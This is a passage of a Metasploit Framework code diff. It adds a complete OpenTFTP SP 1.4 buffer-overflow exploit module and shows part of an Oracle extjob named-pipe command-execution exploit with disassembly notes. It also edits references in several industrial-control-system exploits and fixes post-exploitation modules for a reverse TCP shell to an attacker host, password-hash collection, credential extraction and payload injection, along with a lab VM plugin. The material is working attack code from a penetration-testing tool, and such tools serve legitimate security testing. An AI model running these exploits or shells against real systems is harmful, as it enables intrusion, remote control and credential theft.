pipe.write("cmd.exe /q /c #{cmd}")
|
||||
pipe.close
|
||||
disconnect
|
||||
end
|
||||
|
||||
def check
|
||||
|
||||
begin
|
||||
connect()
|
||||
smb_login()
|
||||
pipe = simple.create_pipe("\\orcljsex#{datastore['SID']}")
|
||||
pipe.write("cmd.exe /q /c dir")
|
||||
result = pipe.read() # Exit Code
|
||||
pipe.close
|
||||
disconnect
|
||||
rescue
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
if result == "1" # Exit Code should be 1
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
end
|
||||
|
||||
return Exploit::CheckCode::Safe
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
=begin
|
||||
How To Test locally:
|
||||
1. Go to Administrative Tools -> Services -> Set 'OracleJobSchedulerORCL' to automatic, and
|
||||
then Start the service.
|
||||
2. Make sure you know your SMBUser and SMBPass
|
||||
3. Run:
|
||||
C:\Documents and Settings\juan\PipeList>echo cmd.exe /c calc.exe > \\.\pipe\orcljsexorcl
|
||||
|
||||
Code Analysis of extjob.exe (Oracle 10g Release 1)
|
||||
=================================================
|
||||
|
||||
From _ServiceStart():
|
||||
|
||||
* Create Named Pipe and store handle on "esi":
|
||||
|
||||
.text:004017EC push offset _pipename
|
||||
.text:004017F1 lea ecx, [ebp+Name]
|
||||
.text:004017F7 push offset $SG59611 ; "\\\\.\\pipe\\orcljsex%s"
|
||||
.text:004017FC push ecx
|
||||
.text:004017FD jmp short loc_401810
|
||||
.text:004017FF ; ---------------------------------------------------------------------------
|
||||
.text:004017FF
|
||||
.text:004017FF loc_4017FF: ; CODE XREF: _ServiceStart+FAj
|
||||
.text:004017FF push offset $SG59613
|
||||
.text:00401804 lea edx, [ebp+Name]
|
||||
.text:0040180A push offset $SG59614 ; "\\\\.\\pipe\\orcljsex%s"
|
||||
.text:0040180F push edx ; Dest
|
||||
.text:00401810
|
||||
.text:00401810 loc_401810: ; CODE XREF: _ServiceStart+10Dj
|
||||
.text:00401810 call ds:__imp__sprintf
|
||||
.text:00401816 add esp, 0Ch
|
||||
.text:00401819 push edi
|
||||
.text:0040181A push edi
|
||||
.text:0040181B push 4
|
||||
.text:0040181D call _ReportStatusToSCMgr
|
||||
.text:00401822 add esp, 0Ch
|
||||
.text:00401825 test eax, eax
|
||||
.text:00401827 jz loc_4018EC
|
||||
.text:0040182D mov edi, ds:__imp__CreateNamedPipeA@32 ; CreateNamedPipeA(x,x,x,x,x,x,x,x)
|
||||
.text:0040185C mov esi, eax
|
||||
|
||||
* Connect Named Pipe
|
||||
|
||||
.text:0040188F push eax ; lpOverlapped
|
||||
.text:00401890 push esi ; hNamedPipe
|
||||
.text:00401891 call ds:__imp__ConnectNamedPipe@8 ; ConnectNamedPipe(x,x)
|
||||
|
||||
* Create Thread with ExecMain() as lpStartAddress and esi (The Pipe handle) as parameter
|
||||
|
||||
.text:004018B9 lea edx, [ebp+ThreadId]
|
||||
.text:004018BC push edx ; lpThreadId
|
||||
.text:004018BD push 0 ; dwCreationFlags
|
||||
.text:004018BF push esi ; lpParameter
|
||||
.text:004018C0 push offset _ExecMain ; lpStartAddress
|
||||
.text:004018C5 push 0 ; dwStackSize
|
||||
.text:004018C7 push 0 ; lpThreadAttributes
|
||||
.text:004018C9 call ds:__imp__CreateThread@24 ; CreateThread(x,x,x,x,x,x)
|
||||
|
||||
From ExecMain():
|
||||
|
||||
* Stores Named Pipe Handle in ebx
|
||||
|
||||
.text:0040197C mov ebx, [ebp+hObject]
|
||||
|
||||
* Read From Named Pipe
|
||||
|
||||
.text:004019C4 lea eax, [ebp+NumberOfBytesRead]
|
||||
.text:004019C7 push edx ; lpOverlapped
|
||||
.text:004019C8 push eax ; lpNumberOfBytesRead
|
||||
.text:004019C9 lea ecx, [ebp+Buffer]
|
||||
.text:004019CF push 10000h ; nNumberOfBytesToRead
|
||||
.text:004019D4 push ecx ; lpBuffer
|
||||
.text:004019D5 push ebx ; hFile
|
||||
.text:004019D6 call ds:__imp__ReadFile@20 ; ReadFile(x,x,x,x,x)
|
||||
|
||||
* CreateProcess with lpCommandLine full controlled by the user input
|
||||
|
||||
.text:00401A06 mov ecx, 11h
|
||||
.text:00401A0B xor eax, eax
|
||||
.text:00401A0D lea edi, [ebp+StartupInfo]
|
||||
.text:00401A10 push esi
|
||||
.text:00401A11 rep stosd
|
||||
.text:00401A13 lea eax, [ebp+ProcessInformation]
|
||||
.text:00401A16 lea ecx, [ebp+StartupInfo]
|
||||
.text:00401A19 push eax ; lpProcessInformation
|
||||
.text:00401A1A push ecx ; lpStartupInfo
|
||||
.text:00401A1B push 0 ; lpCurrentDirectory
|
||||
.text:00401A1D push 0 ; lpEnvironment
|
||||
.text:00401A1F push 0 ; dwCreationFlags
|
||||
.text:00401A21 push 0 ; bInheritHandles
|
||||
.text:00401A23 push 0 ; lpThreadAttributes
|
||||
.text:00401A25 lea edx, [ebp+Buffer]
|
||||
.text:00401A2B push 0 ; lpProcessAttributes
|
||||
.text:00401A2D push edx ; lpCommandLine
|
||||
.text:00401A2E push 0 ; lpApplicationName
|
||||
.text:00401A30 mov [ebp+StartupInfo.cb], 44h
|
||||
.text:00401A37 mov [ebp+StartupInfo.wShowWindow], 5
|
||||
.text:00401A3D mov [ebp+StartupInfo.dwFlags], 100h
|
||||
.text:00401A44 mov [ebp+StartupInfo.lpDesktop], offset $SG59671
|
||||
.text:00401A4B call ds:__imp__CreateProcessA@40 ; CreateProcessA(x,x,x,x,x,x,x,x,x,x)
|
||||
|
||||
|
||||
=end
|
|
@ -39,6 +39,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
[ 'CVE', '2011-3492'],
|
||||
[ 'OSVDB', '75496'],
|
||||
[ 'URL', 'http://aluigi.altervista.org/adv/daqfactory_1-adv.txt'],
|
||||
[ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICSA-11-264-01.pdf']
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
|
|
|
@ -38,6 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
[
|
||||
['OSVDB', '72812'],
|
||||
['URL', 'http://aluigi.altervista.org/adv/factorylink_1-adv.txt'],
|
||||
['URL', 'http://www.us-cert.gov/control_systems/pdf/ICSA-11-091-01.pdf']
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
|
|
|
@ -38,7 +38,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'References' =>
|
||||
[
|
||||
['OSVDB', '72815'],
|
||||
['URL', 'http://aluigi.altervista.org/adv/factorylink_4-adv.txt']
|
||||
['URL', 'http://aluigi.altervista.org/adv/factorylink_4-adv.txt'],
|
||||
['URL', 'http://www.us-cert.gov/control_systems/pdf/ICSA-11-091-01.pdf']
|
||||
],
|
||||
'Privileged' => true,
|
||||
'DefaultOptions' =>
|
||||
|
|
|
@ -40,6 +40,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'References' =>
|
||||
[
|
||||
['URL', 'http://aluigi.org/adv/genesis_4-adv.txt'],
|
||||
['URL', 'http://www.us-cert.gov/control_systems/pdf/ICS-ALERT-11-080-02.pdf']
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
|
|
|
@ -39,6 +39,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
['OSVDB', '72135'],
|
||||
['URL', 'http://www.security-assessment.com/files/documents/advisory/ICONICS_WebHMI.pdf'],
|
||||
['URL', 'http://www.exploit-db.com/exploits/17240/'],
|
||||
['URL', 'http://www.us-cert.gov/control_systems/pdf/ICS-ALERT-11-080-02.pdf']
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
|
|
|
@ -42,6 +42,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
['CVE', '2011-1567'],
|
||||
['OSVDB', '72353'],
|
||||
['URL', 'http://aluigi.altervista.org/adv/igss_2-adv.txt'],
|
||||
['URL', 'http://www.us-cert.gov/control_systems/pdf/ICSA-11-132-01A.pdf']
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
|
|
|
@ -45,6 +45,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
['CVE', '2011-1567'],
|
||||
['OSVDB', '72352'],
|
||||
['URL', 'http://aluigi.altervista.org/adv/igss_5-adv.txt'],
|
||||
['URL', 'http://www.us-cert.gov/control_systems/pdf/ICSA-11-132-01A.pdf']
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
|
|
|
@ -40,6 +40,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
[ 'OSVDB', '72349'],
|
||||
[ 'URL', 'http://aluigi.altervista.org/adv/igss_1-adv.txt' ], #Write File packet flaw
|
||||
[ 'URL', 'http://aluigi.altervista.org/adv/igss_8-adv.txt' ], #EXE packet flaw
|
||||
[ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICSA-11-132-01A.pdf']
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
|
|
|
@ -31,7 +31,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
[
|
||||
[ 'OSVDB', '69027'],
|
||||
[ 'URL', 'http://www.reversemode.com/index.php?option=com_content&task=view&id=70&Itemid=' ],
|
||||
[ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICS-Alert-10-293-02.pdf' ],
|
||||
[ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICSA-10-301-01A.pdf' ],
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
|
|
|
@ -40,6 +40,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
[ 'OSVDB', '72826'],
|
||||
[ 'BID', '46937'],
|
||||
[ 'URL', 'http://aluigi.altervista.org/adv/realwin_5-adv.txt' ],
|
||||
[ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICSA-11-110-01.pdf']
|
||||
],
|
||||
'Privileged' => true,
|
||||
'DefaultOptions' =>
|
||||
|
|
|
@ -41,6 +41,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
[ 'OSVDB', '72824'],
|
||||
[ 'URL', 'http://aluigi.altervista.org/adv/realwin_2-adv.txt' ],
|
||||
[ 'URL', 'http://www.dataconline.com/software/realwin.php' ],
|
||||
[ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICSA-11-110-01.pdf']
|
||||
],
|
||||
'Privileged' => true,
|
||||
'DefaultOptions' =>
|
||||
|
|
|
@ -34,6 +34,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
[ 'OSVDB', '68812' ],
|
||||
[ 'CVE', '2010-4142' ],
|
||||
[ 'URL', 'http://aluigi.altervista.org/adv/realwin_1-adv.txt' ],
|
||||
[ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICSA-10-313-01.pdf']
|
||||
],
|
||||
'Privileged' => true,
|
||||
'DefaultOptions' =>
|
||||
|
|
|
@ -34,6 +34,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
[ 'OSVDB', '68812' ],
|
||||
[ 'CVE', '2010-4142' ],
|
||||
[ 'URL', 'http://aluigi.altervista.org/adv/realwin_1-adv.txt' ],
|
||||
[ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICSA-10-313-01.pdf']
|
||||
],
|
||||
'Privileged' => true,
|
||||
'DefaultOptions' =>
|
||||
|
|
|
@ -34,6 +34,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
[ 'CVE', '2011-0517' ],
|
||||
[ 'OSVDB', '70418'],
|
||||
[ 'URL', 'http://aluigi.org/adv/winlog_1-adv.txt' ],
|
||||
[ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICSA-11-017-02.pdf']
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DefaultOptions' =>
|
||||
|
|
|
@ -0,0 +1,138 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = AverageRanking
|
||||
|
||||
include Msf::Exploit::Remote::Udp
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'OpenTFTP SP 1.4 Error Packet Overflow',
|
||||
'Description' => %q{
|
||||
This module exploits a buffer overflow in OpenTFTP Server SP 1.4. The vulnerable
|
||||
condition triggers when the TFTP opcode is configured as an error packet, the TFTP
|
||||
service will then format the message using a sprintf() function, which causes an
|
||||
overflow, therefore allowing remote code execution under the context of SYSTEM.
|
||||
|
||||
The offset (to EIP) is specific to how the TFTP was started (as a 'Stand Alone',
|
||||
or 'Service'). By default the target is set to 'Service' because that's the default
|
||||
configuration during OpenTFTP Server SP 1.4's installation.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'tixxDZ', #Initial discovery, poc
|
||||
'steponequit' #Metasploit module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2008-2161'],
|
||||
['OSVDB', '44904'],
|
||||
['BID', '29111'],
|
||||
['URL', 'http://downloads.securityfocus.com/vulnerabilities/exploits/29111.pl']
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'process',
|
||||
},
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 5000,
|
||||
'BadChars' => "\x00\x0a\x0d",
|
||||
'StackAdjustment' => -3500,
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
#.bss section that is overwritten
|
||||
[ 'OpenTFTP 1.4 Service', { 'Ret' => 0x0041b3ab } ],
|
||||
[ 'OpenTFTP 1.4 Stand Alone', { 'Ret' => 0x0041b3ab } ]
|
||||
|
||||
],
|
||||
#TFTP server is installed as an NT service by default
|
||||
'DefaultTarget' => 0,
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => 'Jul 05 2008'))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(69),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
||||
if target.name =~ /OpenTFTP 1.4 Stand Alone/
|
||||
# This hits msvcrt.printf()
|
||||
sploit = "\x00\x05" + make_nops(10)
|
||||
sploit << payload.encoded
|
||||
sploit << rand_text_alpha(20517 - payload.encoded.length)
|
||||
sploit << [target['Ret']].pack('V')
|
||||
sploit << Rex::Text.rand_text_alpha(1469)
|
||||
|
||||
elsif target.name =~ /OpenTFTP 1.4 Service/
|
||||
#This hits time()
|
||||
sploit = "\x00\x05" + make_nops(10)
|
||||
sploit << payload.encoded
|
||||
sploit << rand_text_alpha(20445 - payload.encoded.length)
|
||||
sploit << [target['Ret']].pack('V')
|
||||
sploit << Rex::Text.rand_text_alpha(1545)
|
||||
end
|
||||
|
||||
# Send the malicious packet
|
||||
connect_udp
|
||||
udp_sock.put(sploit)
|
||||
handler
|
||||
disconnect_udp
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
=begin
|
||||
NOTE: If the module is run on a OSX box, you will probably see this error:
|
||||
[-] Exploit exception: Message too long
|
||||
That's OSX for you.
|
||||
|
||||
The vulnerable condition triggers when the TFTP opcode "\x00\x05" gets parsed in a ntohs() call:
|
||||
.text:004022F6 mov eax, ds:dword_41B370
|
||||
.text:004022FB movzx eax, word ptr [eax]
|
||||
.text:004022FE mov [esp+5C8h+var_5C8], eax
|
||||
.text:00402301 mov [ebp+var_550], 0FFFFFFFFh
|
||||
.text:0040230B call ntohs
|
||||
.text:00402310 sub esp, 4
|
||||
.text:00402313 cmp ax, 5
|
||||
.text:00402317 jnz short loc_40236F
|
||||
...
|
||||
|
||||
When the value matches 0x05, we then head down to a sprinf() function to generate an error
|
||||
message, which causes an overflow:
|
||||
.text:00402330 mov eax, ds:dword_41B370
|
||||
.text:00402335 add eax, 4
|
||||
.text:00402338 mov [esp+5C8h+var_5BC], eax
|
||||
.text:0040233C mov [esp+5C8h+var_5C0], edx
|
||||
.text:00402340 mov [esp+5C8h+var_5C4], offset aErrorIAtClient ; "Error %i at Client, %s"
|
||||
.text:00402348 mov [esp+5C8h+var_5C8], offset byte_41B394
|
||||
.text:0040234F call sprintf
|
||||
|
||||
And then we either corrupt a msvcrt.printf() or time() call (in logMess), which end up gaining
|
||||
control.
|
||||
|
||||
In source:
|
||||
http://pastebin.com/QgZDwcan
|
||||
|
||||
else if (ntohs(datain->opcode) == 5) // Line 224
|
||||
{
|
||||
sprintf(serverError.errormessage, "Error %i at Client, %s", ntohs(datain->block), &datain->buffer);
|
||||
logMess(req1, 1);
|
||||
..... so on .....
|
||||
|
||||
You can also corrupt a SetServiceStatus() call with a smaller buffer, but obviously doesn't
|
||||
give you a better crash than this one.
|
||||
=end
|
|
@ -64,7 +64,7 @@ class Metasploit3 < Msf::Post
|
|||
print_error "Unsupported platform #{session.platform}"
|
||||
return
|
||||
end
|
||||
if paths.empty?
|
||||
if paths.nil? or paths.empty?
|
||||
print_status("No users found with a .purple directory")
|
||||
return
|
||||
end
|
||||
|
|
|
@ -50,6 +50,8 @@ class Metasploit3 < Msf::Post
|
|||
lhost = datastore['LHOST']
|
||||
lport = datastore['LPORT']
|
||||
cmd = ""
|
||||
|
||||
begin
|
||||
case datastore['type']
|
||||
when /auto/i
|
||||
cmd = auto_create_session(lhost,lport)
|
||||
|
@ -62,6 +64,8 @@ class Metasploit3 < Msf::Post
|
|||
when /bash/i
|
||||
cmd = bash_session(lhost,lport)
|
||||
end
|
||||
rescue
|
||||
end
|
||||
|
||||
if not cmd.empty?
|
||||
print_status("Executing reverse tcp shel to #{lhost} on port #{lport}")
|
||||
|
@ -72,6 +76,7 @@ class Metasploit3 < Msf::Post
|
|||
# Runs a reverse tcp shell with the scripting environment found
|
||||
def auto_create_session(lhost,lport)
|
||||
cmd = ""
|
||||
|
||||
if cmd_exec("perl -v") =~ /Larry/
|
||||
print_status("Perl was found on target")
|
||||
cmd = perl_session(lhost,lport)
|
||||
|
|
|
@ -55,6 +55,7 @@ class Metasploit3 < Msf::Post
|
|||
|
||||
# Record hashes to the running db instance
|
||||
print_good "Collecting hashes..."
|
||||
|
||||
hashes.each do |hash|
|
||||
data = {}
|
||||
data[:host] = addr
|
||||
|
@ -63,7 +64,9 @@ class Metasploit3 < Msf::Post
|
|||
data[:user] = hash.user_name
|
||||
data[:pass] = hash.lanman + ":" + hash.ntlm
|
||||
data[:type] = "smb_hash"
|
||||
data[:source_id] = session.db_record.id,
|
||||
if not session.db_record.nil?
|
||||
data[:source_id] = session.db_record.id
|
||||
end
|
||||
data[:source_type] = "exploit",
|
||||
data[:active] = true
|
||||
|
||||
|
|
|
@ -81,7 +81,7 @@ class Metasploit3 < Msf::Post
|
|||
print_good("DefaultDomain=#{do1}, DefaultUser=#{du1}, DefaultPassword=#{dp1}")
|
||||
elsif do1 != '' and du1 != '' and dp1 != ''
|
||||
has_al = 1
|
||||
creds << [du1,dp1, d01]
|
||||
creds << [du1,dp1, do1]
|
||||
print_good("DefaultDomain=#{do1}, DefaultUser=#{du1}, DefaultPassword=#{dp1}")
|
||||
end
|
||||
|
||||
|
@ -92,7 +92,7 @@ class Metasploit3 < Msf::Post
|
|||
print_good("AltDomain=#{do2}, AltUser=#{du2}, AltPassword=#{dp2}")
|
||||
elsif do2 != '' and du2 != '' and dp2 != ''
|
||||
has_al = 1
|
||||
creds << [du2,dp2,d02]
|
||||
creds << [du2,dp2,do2]
|
||||
print_good("AltDomain=#{do2}, AltUser=#{du2}, AltPassword=#{dp2}")
|
||||
end
|
||||
|
||||
|
|
|
@ -56,6 +56,14 @@ class Metasploit3 < Msf::Post
|
|||
end
|
||||
|
||||
def check_dir(dir, token)
|
||||
# If path doesn't exist, do not continue
|
||||
begin
|
||||
session.fs.dir.entries(dir)
|
||||
rescue
|
||||
print_error("Path seems invalid: #{dir}")
|
||||
return nil
|
||||
end
|
||||
|
||||
adv = session.railgun.advapi32
|
||||
si = "OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION"
|
||||
result = ""
|
||||
|
@ -74,14 +82,12 @@ class Metasploit3 < Msf::Post
|
|||
len = a["PrivilegeSetLength"]
|
||||
|
||||
r = adv.AccessCheck(sd, token, "ACCESS_READ", gen_map, len, len, 4, 8)
|
||||
if !r["return"] then return "Failed" end
|
||||
if !r["return"] then return nil end
|
||||
if r["GrantedAccess"] > 0 then result << "R" end
|
||||
|
||||
w = adv.AccessCheck(sd, token, "ACCESS_WRITE", gen_map, len, len, 4, 8)
|
||||
if !w["return"] then return "Failed" end
|
||||
if !w["return"] then return nil end
|
||||
if w["GrantedAccess"] > 0 then result << "W" end
|
||||
|
||||
return result
|
||||
end
|
||||
|
||||
def enum_subdirs(dpath, maxdepth, token)
|
||||
|
@ -128,11 +134,11 @@ class Metasploit3 < Msf::Post
|
|||
print_status("Got token...")
|
||||
print_status("Checking directory permissions from: " + path)
|
||||
|
||||
#check staring directory
|
||||
print_status(check_dir(path, t) + "\t" + path)
|
||||
|
||||
is_path_valid = check_dir(path, t)
|
||||
if not is_path_valid.nil?
|
||||
#call recursive function to loop through and check all sub directories
|
||||
enum_subdirs(path, depth, t)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -200,7 +200,7 @@ class Metasploit3 < Msf::Post
|
|||
print_good("Successfully injected payload in to process: #{pid}")
|
||||
rescue ::Exception => e
|
||||
print_error("Failed to Inject Payload to #{pid}!")
|
||||
print_error(e)
|
||||
print_error(e.to_s)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
235
plugins/lab.rb
235
plugins/lab.rb
|
@ -28,6 +28,9 @@ class Plugin::Lab < Msf::Plugin
|
|||
{
|
||||
"lab_help" => "lab_help <lab command> - Show that command's description.",
|
||||
"lab_show" => "lab_show - show all vms in the lab.",
|
||||
"lab_search" => "lab_search - search local vms in the lab.",
|
||||
"lab_search_tags" => "lab_search_tag - search local vms in the lab.",
|
||||
#"lab_search_remote" => "lab_search_remote - search remote vms in the lab.",
|
||||
"lab_show_running" => "lab_show_running - show running vms.",
|
||||
"lab_load" => "lab_load [file] - load a lab definition from disk.",
|
||||
"lab_save" => "lab_save [filename] - persist a lab definition in a file.",
|
||||
|
@ -41,6 +44,7 @@ class Plugin::Lab < Msf::Plugin
|
|||
"lab_stop" => "lab_stop [vmid+|all] stop the specified vm.",
|
||||
"lab_revert" => "lab_revert [vmid+|all] [snapshot] revert the specified vm.",
|
||||
"lab_snapshot" => "lab_snapshot [vmid+|all] [snapshot] snapshot all targets for this exploit.",
|
||||
"lab_upload" => "lab_upload [vmid] [local_path] [remote_path] upload a file.",
|
||||
"lab_run_command" => "lab_run_command [vmid+|all] [command] run a command on all targets.",
|
||||
"lab_browse_to" => "lab_browse_to [vmid+|all] [uri] use the default browser to browse to a uri."
|
||||
}
|
||||
|
@ -56,7 +60,76 @@ class Plugin::Lab < Msf::Plugin
|
|||
|
||||
def cmd_lab_load(*args)
|
||||
return lab_usage unless args.count == 1
|
||||
@controller.from_file(args[0])
|
||||
|
||||
res = args[0]
|
||||
good_res = nil
|
||||
if (File.file? res and File.readable? res)
|
||||
# then the provided argument is an absolute path and is gtg.
|
||||
good_res = res
|
||||
elsif
|
||||
# let's check to see if it's in the data/lab dir (like when tab completed)
|
||||
[
|
||||
::Msf::Config.data_directory + File::SEPARATOR + "lab",
|
||||
# there isn't a user_data_directory, but could use:
|
||||
#::Msf::Config.user_plugins_directory + File::SEPARATOR + "lab"
|
||||
].each do |dir|
|
||||
res_path = dir + File::SEPARATOR + res
|
||||
if (File.file?(res_path) and File.readable?(res_path))
|
||||
good_res = res_path
|
||||
break
|
||||
end
|
||||
end
|
||||
end
|
||||
if good_res
|
||||
@controller.from_file(good_res)
|
||||
else
|
||||
print_error("#{res} is not a valid lab definition file (.yml)")
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Tab completion for the lab_load command
|
||||
#
|
||||
def cmd_lab_load_tabs(str, words)
|
||||
tabs = []
|
||||
#return tabs if words.length > 1
|
||||
if ( str and str =~ /^#{Regexp.escape(File::SEPARATOR)}/ )
|
||||
# then you are probably specifying a full path so let's just use normal file completion
|
||||
return tab_complete_filenames(str,words)
|
||||
elsif (not words[1] or not words[1].match(/^\//))
|
||||
# then let's start tab completion in the data/lab directory
|
||||
begin
|
||||
[
|
||||
::Msf::Config.data_directory + File::SEPARATOR + "lab",
|
||||
# there isn't a user_data_directory, but could use:
|
||||
#::Msf::Config.user_plugins_directory + File::SEPARATOR + "lab"
|
||||
].each do |dir|
|
||||
next if not ::File.exist? dir
|
||||
tabs += ::Dir.new(dir).find_all { |e|
|
||||
path = dir + File::SEPARATOR + e
|
||||
::File.file?(path) and File.readable?(path)
|
||||
}
|
||||
end
|
||||
rescue Exception
|
||||
end
|
||||
else
|
||||
tabs += tab_complete_filenames(str,words)
|
||||
end
|
||||
return tabs
|
||||
end
|
||||
|
||||
def cmd_lab_load_dir(*args)
|
||||
return lab_usage unless args.count == 2
|
||||
@controller.build_from_dir(args[0],args[1],true)
|
||||
end
|
||||
|
||||
def cmd_lab_clear(*args)
|
||||
@controller.clear!
|
||||
end
|
||||
|
||||
def cmd_lab_save(*args)
|
||||
return lab_usage if args.empty?
|
||||
@controller.to_file(args[0])
|
||||
end
|
||||
|
||||
def cmd_lab_load_running(*args)
|
||||
|
@ -103,16 +176,15 @@ class Plugin::Lab < Msf::Plugin
|
|||
##
|
||||
## Commands for dealing with a currently-loaded lab
|
||||
##
|
||||
|
||||
def cmd_lab_show(*args)
|
||||
if args.empty?
|
||||
hlp_print_lab
|
||||
else
|
||||
args.each do |vmid|
|
||||
if @controller.includes_vmid? vmid
|
||||
print_line @controller[vmid].to_yaml
|
||||
args.each do |name|
|
||||
if @controller.includes_hostname? name
|
||||
print_line @controller[name].to_yaml
|
||||
else
|
||||
print_error "Unknown vm '#{vmid}'"
|
||||
print_error "Unknown vm '#{name}'"
|
||||
end
|
||||
end
|
||||
end
|
||||
|
@ -122,27 +194,57 @@ class Plugin::Lab < Msf::Plugin
|
|||
hlp_print_lab_running
|
||||
end
|
||||
|
||||
|
||||
def cmd_lab_search(*args)
|
||||
if args.empty?
|
||||
hlp_print_lab
|
||||
else
|
||||
args.each do |arg|
|
||||
print_line "Searching for vms with hostname matching #{arg}"
|
||||
@controller.each do |vm|
|
||||
print_line "checking to see #{vm.hostname} matches #{arg}"
|
||||
print_line "#{vm.hostname} matched #{arg}" if vm.hostname =~ Regexp.new(arg)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def cmd_lab_search_tags(*args)
|
||||
if args.empty?
|
||||
hlp_print_lab
|
||||
else
|
||||
args.each do |arg|
|
||||
print_line "Searching for vms with tags matching #{arg}"
|
||||
@controller.each do |vm|
|
||||
print_line "checking to see #{vm.hostname} is tagged #{arg}"
|
||||
print_line "#{vm.hostname} tagged #{arg}" if vm.tagged?(arg)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def cmd_lab_start(*args)
|
||||
return lab_usage if args.empty?
|
||||
|
||||
if args[0] == "all"
|
||||
@controller.each do |vm|
|
||||
print_line "Starting lab vm #{vm.vmid}."
|
||||
print_line "Starting lab vm #{vm.hostname}."
|
||||
if !vm.running?
|
||||
vm.start
|
||||
else
|
||||
print_line "Lab vm #{vm.vmid} already running."
|
||||
print_line "Lab vm #{vm.hostname} already running."
|
||||
end
|
||||
end
|
||||
else
|
||||
args.each do |arg|
|
||||
if @controller.includes_vmid? arg
|
||||
vm = @controller.find_by_vmid(arg)
|
||||
if @controller.includes_hostname? arg
|
||||
vm = @controller.find_by_hostname(arg)
|
||||
if !vm.running?
|
||||
print_line "Starting lab vm #{vm.vmid}."
|
||||
print_line "Starting lab vm #{vm.hostname}."
|
||||
vm.start
|
||||
else
|
||||
print_line "Lab vm #{vm.vmid} already running."
|
||||
print_line "Lab vm #{vm.hostname} already running."
|
||||
end
|
||||
end
|
||||
end
|
||||
|
@ -154,22 +256,22 @@ class Plugin::Lab < Msf::Plugin
|
|||
|
||||
if args[0] == "all"
|
||||
@controller.each do |vm|
|
||||
print_line "Stopping lab vm #{vm.vmid}."
|
||||
print_line "Stopping lab vm #{vm.hostname}."
|
||||
if vm.running?
|
||||
vm.stop
|
||||
else
|
||||
print_line "Lab vm #{vm.vmid} not running."
|
||||
print_line "Lab vm #{vm.hostname} not running."
|
||||
end
|
||||
end
|
||||
else
|
||||
args.each do |arg|
|
||||
if @controller.includes_vmid? arg
|
||||
vm = @controller.find_by_vmid(arg)
|
||||
if @controller.includes_hostname? arg
|
||||
vm = @controller.find_by_hostname(arg)
|
||||
if vm.running?
|
||||
print_line "Stopping lab vm #{vm.vmid}."
|
||||
print_line "Stopping lab vm #{vm.hostname}."
|
||||
vm.stop
|
||||
else
|
||||
print_line "Lab vm #{vm.vmid} not running."
|
||||
print_line "Lab vm #{vm.hostname} not running."
|
||||
end
|
||||
end
|
||||
end
|
||||
|
@ -183,10 +285,10 @@ class Plugin::Lab < Msf::Plugin
|
|||
@controller.each{ |vm| vm.suspend }
|
||||
else
|
||||
args.each do |arg|
|
||||
if @controller.includes_vmid? arg
|
||||
if @controller.find_by_vmid(arg).running?
|
||||
if @controller.includes_hostname? arg
|
||||
if @controller.find_by_hostname(arg).running?
|
||||
print_line "Suspending lab vm #{arg}."
|
||||
@controller.find_by_vmid(arg).suspend
|
||||
@controller.find_by_hostname(arg).suspend
|
||||
end
|
||||
end
|
||||
end
|
||||
|
